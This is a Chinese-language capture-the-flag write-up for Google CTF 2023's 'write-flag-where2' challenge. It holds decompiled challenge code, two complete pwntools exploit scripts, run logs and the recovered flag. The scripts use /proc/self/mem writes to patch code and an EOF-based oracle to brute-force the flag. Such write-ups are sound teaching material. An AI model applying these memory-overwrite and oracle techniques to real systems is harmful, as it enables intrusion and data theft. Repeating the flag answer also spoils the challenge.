题目分析
直接看代码:
int __cdecl main(int argumentCount, const char **arguments, const char **environmentVariables)
{
__int64 buffer[9]; // [rsp+0h] [rbp-70h] BYREF
_DWORD parsedData[3]; // [rsp+4Ch] [rbp-24h] BYREF
int memFileDescriptor; // [rsp+58h] [rbp-18h]
int bytesRead; // [rsp+5Ch] [rbp-14h]
int nullFileDescriptor; // [rsp+60h] [rbp-10h]
int outputFileDescriptor; // [rsp+64h] [rbp-Ch]
int flagFileDescriptor; // [rsp+68h] [rbp-8h]
int mapsFileDescriptor; // [rsp+6Ch] [rbp-4h]
mapsFileDescriptor = open("/proc/self/maps", 0, environmentVariables);
read(mapsFileDescriptor, maps, 0x1000uLL);
close(mapsFileDescriptor);
flagFileDescriptor = open("./flag.txt", 0);
if ( flagFileDescriptor == -1 )
{
puts("flag.txt not found");
return 1;
}
else
{
if ( read(flagFileDescriptor, &flag, 0x80uLL) > 0 )
{
close(flagFileDescriptor);
outputFileDescriptor = dup2(1, 1337);
nullFileDescriptor = open("/dev/null", 2);
dup2(nullFileDescriptor, 0);
dup2(nullFileDescriptor, 1);
dup2(nullFileDescriptor, 2);
close(nullFileDescriptor);
alarm(0x3Cu);
dprintf(
outputFileDescriptor,
"Was that too easy? Let's make it tough\nIt's the challenge from before, but I've removed all the fluff\n");
dprintf(outputFileDescriptor, "%s\n\n", maps);
while ( 1 )
{
memset(buffer, 0, 64); // buffer 初始化
bytesRead = read(outputFileDescriptor, buffer, 0x40uLL);// 读取内容到 buffer
if ( (unsigned int)__isoc99_sscanf(buffer, "0x%llx %u", &parsedData[1], parsedData) != 2 // 输入地址 长度
|| parsedData[0] > 0x7Fu )
{
break;
}
memFileDescriptor = open("/proc/self/mem", 2);
lseek64(memFileDescriptor, *(__off64_t *)&parsedData[1], 0);
write(memFileDescriptor, &flag, parsedData[0]);
close(memFileDescriptor);
}
exit(0);
}
puts("flag.txt empty");
return 1;
}
}
和上一篇wfw1是类似的,但是取消了每次循环的的字符串打印操作,并且提供了一个额外的代码段:
利用1:预期解
这里的思路就是,已知flag的格式是CTF{
开头,试试去覆盖代码段:
>>> disasm(b'C')
' 0: 43 inc ebx'
>>> disasm(b'T')
' 0: 54 push esp'
>>> disasm(b'F')
' 0: 46 inc esi'
>>> disasm(b'{')
' 0: 7b .byte 0x7b'
可见,T
这个字符对应的指令可以作为nop使用,不影响程序向下执行,可以通过覆盖代码段把call exit的操作都变成push esp,然后触发会跳转到exit的操作,就会执行下去打印一个字符串
由于每次都会把flag内容写入目标地址,但是可以指定长度,这里就可以从后往前覆盖call exit的这几个字节,每次写入CT,然后向前挪一个字节重新写入,那一块就会变成CTT,直到把call exit全变成T,就完成了对exit调用的跳过
通过/proc/self/mem文件去修改内存可以无视内存属性,达到任意内存读写
提前把这个字符串替换成flag,即可打印flag:
- 第一轮循环里去修改字符串
- 第二轮循环里去修改代码段,把call exit的调用给抹去
- 第三轮循环里去输入错误数据,触发跳转去打印
exp:
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
FILE_NAME = "./chal"
REMOTE_HOST = "wfw2.2023.ctfcompetition.com"
REMOTE_PORT = 1337
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
io = start()
# =============================================================================
# ============== exploit ===================
# 获取基地址
sleep(2)
io.recvuntil(b"fluff\n")
base = int(io.recv(12),16)
print(hex(base))
# 计算偏移,写入flag到指定字符串
addr = base + 0x1443
io.sendlineafter('\n\n', f'{hex(addr)} 2')
for i in range(1,10):
io.sendline(f"{hex(addr-i)} 2")
sleep(0.3)
# 计算偏移,修改代码段
straddr = base + 0x20d5
io.sendline(f"{hex(straddr)} 80")
sleep(0.3)
io.recv()
io.sendline(b"")
flag = io.recv()
print(flag)
结果:
➜ write-flag-where2 python3 exp2.py REMOTE
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where2/chal'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/selph/CTF-Exercise/Google CTF 2023/write-flag-where2/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to wfw2.2023.ctfcompetition.com on port 1337: Done
0x55f6e4933000
b'CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}'
[*] Closed connection to wfw2.2023.ctfcompetition.com port 1337
利用2:非预期解
通过pwntools的recv的EOFERROR异常可以知道连接是否已断开,这个思路是修改scanf格式化字符串的格式0x%llx %u
,把flag的第n位复制上去覆盖0,然后给定输入例如Cx0 0
,如果scanf判断输入格式是正确的,接下来使用recv不会抛出异常,如果是错误的,则会抛出异常
小技巧:使用recv()可以判断连接是否断开,可以基于此来进行爆破
于是就可以不断连接进行爆破flag的第n位是什么,虽然慢了点,但也能求解出
exp:
#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
FILE_NAME = "./chal"
REMOTE_HOST = "wfw2.2023.ctfcompetition.com"
REMOTE_PORT = 1337
context.log_level = "error"
elf = context.binary = ELF(FILE_NAME)
libc = elf.libc
gs = '''
continue
'''
def start():
if args.REMOTE:
return remote(REMOTE_HOST,REMOTE_PORT)
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# =======================================
# 已知flag开头是CTF{
flag = "CTF{"
# =============================================================================
# ============== exploit ===================
def guess_char(guess, offset):
# 启动进程,获取基地址
io = start()
#sleep(0.5)
io.recvuntil(b"fluff\n")
base = int(io.recv(12),16)
#print(hex(base))
io.recvuntil(b"\n\n\n")
# 获取格式化字符串所在偏移
elf.address = base
format_string = next(elf.search(b"0x%llx %u"))
#print(hex(format_string))
# 通过偏移来将flag中的某个字符覆盖到格式化字符串0x%llx的0上
io.sendline(f"{hex(format_string - offset)} {offset+1}")
sleep(0.1)
# 尝试可读字符,判断是否是刚刚覆盖的字节
try:
io.sendline(f"{guess}x0 0")
io.recv(4096,timeout=1)
return True
except EOFError:
io.close()
return False
while True:
offset = len(flag)
# 对于 flag 每个字节去爆破
for guess in string.printable:
if guess_char(guess,offset):
flag += guess
break
print(flag)
# =============================================================================
运行结果:
➜ write-flag-where2 python3 exp1.py REMOTE
C
CT
CTF
CTF{
CTF{i
CTF{im
CTF{imp
CTF{impr
CTF{impr3
CTF{impr35
CTF{impr355
CTF{impr355i
CTF{impr355iv
CTF{impr355iv3
CTF{impr355iv3_
CTF{impr355iv3_6
CTF{impr355iv3_6u
CTF{impr355iv3_6ut
CTF{impr355iv3_6ut_
CTF{impr355iv3_6ut_c
CTF{impr355iv3_6ut_ca
CTF{impr355iv3_6ut_can
CTF{impr355iv3_6ut_can_
CTF{impr355iv3_6ut_can_y
CTF{impr355iv3_6ut_can_y0
CTF{impr355iv3_6ut_can_y0u
CTF{impr355iv3_6ut_can_y0u_
CTF{impr355iv3_6ut_can_y0u_s
CTF{impr355iv3_6ut_can_y0u_s0
CTF{impr355iv3_6ut_can_y0u_s01
CTF{impr355iv3_6ut_can_y0u_s01v
CTF{impr355iv3_6ut_can_y0u_s01v3
CTF{impr355iv3_6ut_can_y0u_s01v3_
CTF{impr355iv3_6ut_can_y0u_s01v3_c
CTF{impr355iv3_6ut_can_y0u_s01v3_ch
CTF{impr355iv3_6ut_can_y0u_s01v3_cha
CTF{impr355iv3_6ut_can_y0u_s01v3_cha1
CTF{impr355iv3_6ut_can_y0u_s01v3_cha11
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113n
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?
CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}